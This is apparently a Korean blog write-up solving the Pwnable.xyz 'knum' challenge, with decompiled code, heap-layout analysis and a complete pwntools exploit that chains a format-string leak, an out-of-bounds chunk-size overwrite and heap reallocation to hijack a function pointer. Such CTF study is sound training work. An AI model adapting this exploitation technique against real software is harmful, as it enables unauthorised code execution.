tmxklab

[Pwnable.xyz] knum 본문

War Game/Pwnable.xyz

[Pwnable.xyz] knum

tmxk4221 2020. 9. 9. 22:34

1. 문제

nc svc.pwnable.xyz 30043

 

1) mitigation 확인

모든 보호기법이 다 걸려있고 추가로 stripped파일이다.

 

2) 문제 확인

5개의 메뉴가 보인다.

선택한 좌표에 임의의 값을 넣을 수 있다.(메뉴 1)

 

 

3) 코드흐름 파악

3-1) main() -> init_func()

__int64 init_func()
{
  _DWORD *v0; // rax
  char *v1; // rax
  __int64 result; // rax

  field = malloc(0xA0uLL);
  reset();
  v0 = malloc(0x28uLL);
  play_info = (__int64)v0;
  v0[5] = 0;
  *(_DWORD *)(play_info + 0x18) = 0;
  *(_QWORD *)(play_info + 0x20) = graph_func;
  menu_info = malloc(0xC8uLL);
  memset(menu_info, 0, 0xC8uLL);
  v1 = (char *)menu_info;
  *(_QWORD *)menu_info = 0x2079616C50202E31LL;
  strcpy(v1 + 8, "a game\n2. Show hiscore\n3. Reset hiscore\n4. Drop me a note\n5. Exit\n");
  result = play_info;
  strcpy((char *)play_info, "KNUM v.01\n");
  return result;
}
  • 각 전역변수에 malloc하고 값을 세팅해주는 것 같다.

 

3-2) main() → game()

__int64 game()
{
  __int64 result; // rax
  char v1; // [rsp+Fh] [rbp-1h]

  while ( 1 )
  {
    print_info();
    v1 = getchar();
    getchar();
    result = v1 - (unsigned int)'1';
    switch ( v1 )
    {
      case '1':
        play();
        break;
      case '2':
        show();
        break;
      case '3':
        reset();
        break;
      case '4':
        drop();
        break;
      case '5':
        return result;
      default:
        puts("Invalid option...");
        break;
    }
  }
}

 

3-3) play()

unsigned __int64 play()
{
  __int64 v0; // rdx
  unsigned int x; // [rsp+4h] [rbp-1Ch]
  unsigned int y; // [rsp+8h] [rbp-18h]
  unsigned int input; // [rsp+Ch] [rbp-14h]
  int v5; // [rsp+10h] [rbp-10h]
  int score; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v5 = 1;
  setting_info();
  while ( 1 )
  {
    x = 0;
    y = 0;
    input = 0;
    (*(void (**)(void))(play_info + 0x20))();
    while ( !x && !y || *((_BYTE *)field + 0x10 * y + x) )
    {
      __printf_chk(1LL, "Player %d - Enter your move (invalid input to end game)\n");
      __printf_chk(1LL, "- Enter target field (x y): ");
      if ( (unsigned int)__isoc99_scanf("%d %d", &x, &y) != 2 )
      {
        v5 = 0;
        break;
      }
    }
    if ( !v5 )
      break;
    if ( x > 0x10 || y > 0xA )
    {
      puts("Invalid move...");
    }
    else
    {
      while ( !input || input > 0xFF )
      {
        __printf_chk(1LL, "- Enter the value you want to put there (< 255): ");
        __isoc99_scanf("%d", &input, v0);
      }
      *((_BYTE *)field + 0x10 * (0xA - y) + x - 1) = input;
      score = get_score();
      if ( score > 0 )
      {
        __printf_chk(1LL, "You scored %d points!\n");
        *(_DWORD *)(play_info + 0x14) += score;
      }
    }
    ++*(_DWORD *)(play_info + 0x10);
  }
  update(*(_DWORD *)(play_info + 0x14));
  return __readfsqword(0x28u) ^ v7;
}
  • 먼저, setting_info()에서 play_info의 score나 round 등 값을 초기화 해줌
  • play_info + 0x20에 저장된 graph_func()를 호출함 → 만약 play_info청크를 접근하여 값을 쓸 수 있다면 여기다가 win()넣으면 될 것 같다.
  • x, y에 대한 값을 받고 (x, y)좌표에 넣을 input값을 받아서 저장
    • ((_BYTE *)field + 0x10 * (0xA - y) + x - 1) = input;
    • 최소 값 : x = 0x1, y = 0xa → *filed
    • 최대 값 : x = 0x10, y = 0x0 → *filed + 0x10 - 1
  • get_score()를 호출하여 좌표에 동일 선상에 있는 값의 합이 1000이 되면 score를 얻을 수 있다.
  • ex)

  • 마지막으로 update()를 통해 현재 플레이를 통해서 얻은 점수와 기존에 스코어보드에 올라와 있는 플레이어들의 점수를 비교하여 만약에 자신의 점수가 크면 업데이트 시킨다. → score_boad청크에 저장함

 

3-4) show()

int show()
{
  int i; // [rsp+Ch] [rbp-4h]

  putchar(10);
  puts("Hall of fame - All time best knum players");
  puts("#################################################################");
  for ( i = 0; i <= 9; ++i )
  {
    __printf_chk(1LL, "%d. %s - %d\n\t");
    __printf_chk(1LL, (char *)score_boad + 0xC4 * i + 0x44);
    putchar(10);
  }
  puts("#################################################################");
  return putchar(10);
}
  • 모든 플레이어의 score를 보여줌
  • for문의 두 번째 __printf_chk를 보면 포맷을 지정해주지 않았기 때문에 fsb 취약점이 존재한다.
  • int __printf_chk(int flag, const char* format)
    • 스택 검사가 추가된 printf함수로 stack overflow를 확인하여 오버플로가 발생되면 프로그램을 종료시키는 함수
    • 정확히는 잘 모르겠는데 foritify옵션이 붙어있어서 %n을 사용할 수 없다고 한다.

 

3-5) reset()

char *reset()
{
  if ( score_boad )
    free(score_boad);
  score_boad = malloc(0x7A8uLL);
  copy_string(0, "Kileak", 1000, "You cannot beat me in my own game, can you? :P");
  copy_string(1, "vakzz", 999, "Expected a kernel pwn here :(");
  copy_string(2, "uafio", 998, "My knum senses are tingling...");
  copy_string(3, "grazfather", 997, "I hope you used gef to debug this shitty piece of software!");
  copy_string(4, "rh0gue", 997, "I eat kbbq");
  copy_string(5, "corb3nik", 996, "Where's my putine???");
  copy_string(6, "reznok", 995, "Did anyone find the web interface by now?");
  copy_string(7, "zer0", 3, "Will be a draw...");
  copy_string(8, "Tuan Linh", 2, "how can I delete my message here???");
  return copy_string(9, "zophike1", 1, "No time to play this game, have to do pwn2own and some kernel pwnz instead...");
}
  • score_boad가 존재하면 free해주고 malloc(0x7a8)해준 다음 copy_string()
  • 모든 플레이어의 점수랑 이름, 코멘트를 넣어주는 것 같다.
  • 제일 낮은 스코어는 1이다.

 

3-6) copy_string()

char *__fastcall copy_string(int index, const char *name, int a3, char *a4)
{
  const char *remark; // [rsp+8h] [rbp-18h]
  int score; // [rsp+18h] [rbp-8h]

  score = a3;
  remark= a4;
  strcpy((char *)score_boad + 0xC4 * index, name);
  *((_DWORD *)score_boad + 0x31 * index + 0x10) = score;
  return strcpy((char *)score_boad + 0xC4 * index + 0x44, remark);
}
  • (char)score_boad + 0xc4 * index = name
  • (DWORD)score_boad + 0x31 * index + 0x10 = 0xc4*index + 0x40 = score
  • (char)score_boad + 0xc4 * index + 0x44 = remark

 

3-7) drop()

int drop()
{
  if ( note_name )
    return puts("You already sent me a note, that should be enough...");
  note_name = (char *)malloc(0x48uLL);
  __printf_chk(1LL, "Enter your note for me: ");
  fgets(note_name, 72, stdin);
  return puts("Thanks for your input :)");
}
  • note_name(전역변수)값이 존재하며 return되고 아니면 malloc(0x48)해준 다음 fgets로 note_name에 72bytes까지 입력을 받을 수 있음

 

전역 변수)

  • play_info : 게임에 대한 정보를 저장함(score, round 등등..)
  • note_name : drop()에서 사용됨
  • score_boad : 다른 플레이어들의 name, score, remark들이 저장되어 있음
  • menu_info : menu 문자열이 저장되어 있음
  • filed : x, y좌표에 들어갈 입력 값을 저장함

 

[ play_info구조 ]

init_func()로 malloc할당받고 추가적으로 game() → play() → setting_info()까지 수행했을 때

 

 

[ score_boad 구조 ]

 

 


2. 접근방법

 

game() → play()에서 play_info + 0x20에 저장되어 있는 graph_func()를 win()로 교체하는 방법으로 문제 접근을 해보자

 

 

1) game() → play()

우선 여기서 OOB가 발생하는 것을 확인할 수 있다. (x, y)좌표 값을 지정해주고 좌표에 입력 값을 받을 때 위에서 코드 분석한 것에 따르면 (x, y) = (0x10, 0)일 때 filed청크의 마지막에 저장된다.

위 그림을 보면 최소 값과 최대 값에 input값인 0xa가 들어간 것을 알 수 있다. 하지만 최대 값이 저장되는 위치는 다음 청크 즉, score_boad의 청크의 size값을 모두 포함하므로 size값을 조절할 수 있다.

그러면 이제 저기서 x의 값을 0x10대신에 0xa(10)을 주면은 현재 세팅되어 있는 size의 0x7값을 변경할 수 있다.

 

 

2) libc leak

score_boad에 있는 플레이어들 중에 제일 낮은 스코어는 1이다. play를 통해 2 points만 얻을 수 있다면 score_boad에 name과 remark를 작성할 수 있다. 그러면 아까 위에서 봤던 fsb를 이용하여 libc leak이 가능하다.

  • 2번 메뉴를 통해 모든 score_boad를 출력하는 루틴으로 넘어왔다.
  • 현재 위 사진은 내가 score_boad에 추가한 remark를 __printf_chk()로 출력해주기 직전의 스택 상황이다.
  • 빨간색 박스로 되어 있는 부분을 릭해주면 libc값을 구할 수 있을 것이다.

 

3) init_func()실행 후

(gdb껐다 켰다해서 주소 값 달라질 수 있음 구조만 파악 ㄱㄱ)

  • 0x555555757208 : play_info청크(size : 0x30, static), 0x555555758ac0
  • 0x555555757210 : note_name, 0x0
  • 0x555555757218 : score_boad청크(size : 0x7b0, static), 0x555555758310
  • 0x555555757220 : menu_info청크(size : 0xd0, static), 0x555555758af0
  • 0x555555757228 : field청크(size : 0xb0, static), 0x555555758260

 

목표는 play_info에서 graph_func()를 win()로 바꾸는 것이며 위에서 알아낸 oob취약점을 이용하도록 한다.

 

 

3-1) score_boad 청크의 size 변경 및 free

(x, y, input) = (10, 0, 8)을 주면 score_boad청크의 size를 0x8b0으로 변경시킬 수 있다.

size를 0x8b0으로 변경시키면 밑에 존재하는 청크들(play_info, menu_info)까지 포함된다.

 

 

이후에 메뉴 3의 reset()를 이용하여 score_boad청크를 free시키면

score_boad청크부터 밑에 청크 2개까지 전부 다 free되어 있고 unsorted bin에 들어가 있다. → unsorted bin(size : 0x8b0) = score_boad + play_info + menu_info

(size 0x50, 0x90의 free 청크는 일단 신경쓰지 말 것, update_info함수에서 name과 remark청크를 malloc하고 free하는 과정에서 생긴 것)

 

그리고 다시 score_boad = malloc(0x7a8)을 수행하게 되면

score_boad청크는 unsorted bin에서 0x7b0만큼 떼어서 가져오고 나머지 0x100 size의 free chunk 즉, play_info와 menu_info는 그대로 unsorted_bin에 들어 있다.

 

 

이제 저 play_info청크를 재할당할 수 있고 값을 자유롭게 쓸 수 있다면 graph_func()대신에 win함수를 작성할 수 있다.

점수를 올려 다시 update_info()에서 name = malloc(0x40)을 이용하면 된다.

하지만 문제가 있다. 바로 재할당하면은 tcache[3]에 있는 free 청크를 이용하게 될 것이다.

 

 

3-2) drop()를 이용하여 tcache[3] 제거

drop()에서 note_name이 존재하지 않으면 note_name = malloc(0x48)을 하므로 이거를 이용해서 tcache[3]을 제거해보자

제거 완료

 

 

3-3) update_info()를 이용하여 play_info청크 재할당 및 수정

name = malloc(0x40)실행 전)

 

name = malloc(0x40)실행 후)

malloc(0x50)만큼 할당된 청크에는 이전 play_info청크의 자리를 그대로 가져올 수 있고 graph_func()의 주소도 그대로 남아있다.

 

 

이제 name청크를 이용해서 graph_func()주소 대신에 win()를 넣으면 된다.


3. 풀이

 

 

1) 익스코드

from pwn import *

context.log_level = "debug"

p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30043)

def game(x, y, data):
    p.sendlineafter("(x y): ", str(x)+" "+str(y))
    p.sendlineafter("(< 255): ", str(data))


# 1. play - get 2 points
p.sendlineafter("5. Exit\n", str(1))

for i in range(1, 11):
    game(i, 1, 100)

for i in range(1, 11):
    game(i, 2, 100)

p.sendlineafter("(x y): ", "A")
p.sendlineafter("(max 63 chars) : ", "A")
p.sendlineafter("(max 127 chars) : ", "%p "*0x10)

# 2. leak libc addr
p.sendlineafter("5. Exit\n", str(2))
p.recvuntil("8.")
leak_addr = int(p.recvuntil("0x70000")[-22:-8], 16)
base_addr = leak_addr - 0xb80
win_addr = base_addr + 0x19fe

log.info("leak addr : "+hex(leak_addr))
log.info("base addr : "+hex(base_addr))
log.info("win addr  : "+hex(win_addr))

# 3. modify prev_size(0x7b1 -> 0x8b1) 
p.sendlineafter("5. Exit\n", str(1))
game(10, 0, 8)
p.sendlineafter("(x y): ", "A")
 
# 4. reset
p.sendlineafter("5. Exit\n", str(3))

# 5. drop
p.sendlineafter("5. Exit\n", str(4))
p.sendlineafter(" for me: ", "A")

# 6. play -> insert win() addr
p.sendlineafter("5. Exit\n", str(1))

for i in range(1, 11):
    game(i, 1, 100)

for i in range(1, 11):
    game(i, 2, 100)

p.sendlineafter("(x y): ", "A")
p.sendlineafter("(max 63 chars) : ", "A"*0x20+p64(win_addr))
p.sendlineafter("(max 127 chars) : ", "B")

# 7. execute win()
p.sendline(str(1))

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] note v4  (0) 2020.09.09
[Pwnable.xyz] fishing  (0) 2020.09.09
[Pwnable.xyz] PvE  (0) 2020.09.09
[Pwnable.xyz] note v3  (0) 2020.09.09
[Pwnable.xyz] door  (0) 2020.09.09
Comments